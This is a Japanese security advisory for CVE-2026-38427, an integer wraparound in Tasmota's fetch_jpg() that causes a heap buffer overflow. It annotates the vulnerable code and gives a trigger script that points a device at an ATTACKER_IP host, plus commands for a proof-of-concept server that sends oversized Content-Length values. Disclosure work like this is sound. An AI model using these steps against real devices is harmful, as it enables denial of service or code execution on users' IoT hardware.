
CVE-2026-38427 — 整数ラップアラウンド → Tasmota fetch_jpg() uint16_t におけるヒープバッファオーバーフロー (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
深刻度: 緊急 (CVSS 9.8)
製品: Arendst Tasmota
影響を受けるバージョン: <= 15.3.0.3
ファイル: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
関数: fetch_jpg() — ケース 2 (MJPEGフレーム取得)
著者: Saidakbarxon Maxsudxonov
開示: 責任ある開示 — 公開前にTasmotaへ報告済み
Tasmotaのスクリプタードライバの fetch_jpg() 関数に、uint16_t 整数ラップアラウンドの脆弱性が存在します。Tasmotaデバイスが攻撃者制御のサーバからMJPEGフレームを取得する際、Content-Length ヘッダーの値は atoi() を介して uint16_t 変数に読み込まれます。65535より大きい値は黙ってラップアラウンドするため(例: 65537 → 1)、大幅に小さすぎるヒープバッファが割り当てられる原因となります。その後デバイスはストリームからラップ後のバイト数のみを読み取り、残りをストリームバッファに残すため、ヒープ/ストリーム状態が破壊され、クラッシュ(DoS)または潜在的なリモートコード実行につながります。
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
悪意のあるTasmotaスクリプトやMITMを介して、Tasmotaデバイスを攻撃者のHTTPサーバに接続させられる攻撃者は、65535を超える Content-Length 値を持つMJPEGフレームを送信できます。デバイスは以下の動作を行います:
Tasmotaスクリプトによるトリガー:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
PoCは、悪意のある Content-Length 値を持つフレームを送信する偽のMJPEG HTTPサーバを実行します:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
完全な実装については CVE-2026-38427_poc.py を参照してください。
| Content-Length (ヘッダー) | uint16_t 値 | 割り当て済みバッファ | 未読バイト |
|---|
| 65536 | 0 | 0 (スキップ) | 65536 |
| 65537 | 1 | 1バイト | 65536 |
| 70000 | 4464 | 4464バイト | 65536 |
| 131072 | 0 | 0 (スキップ) | 131072 |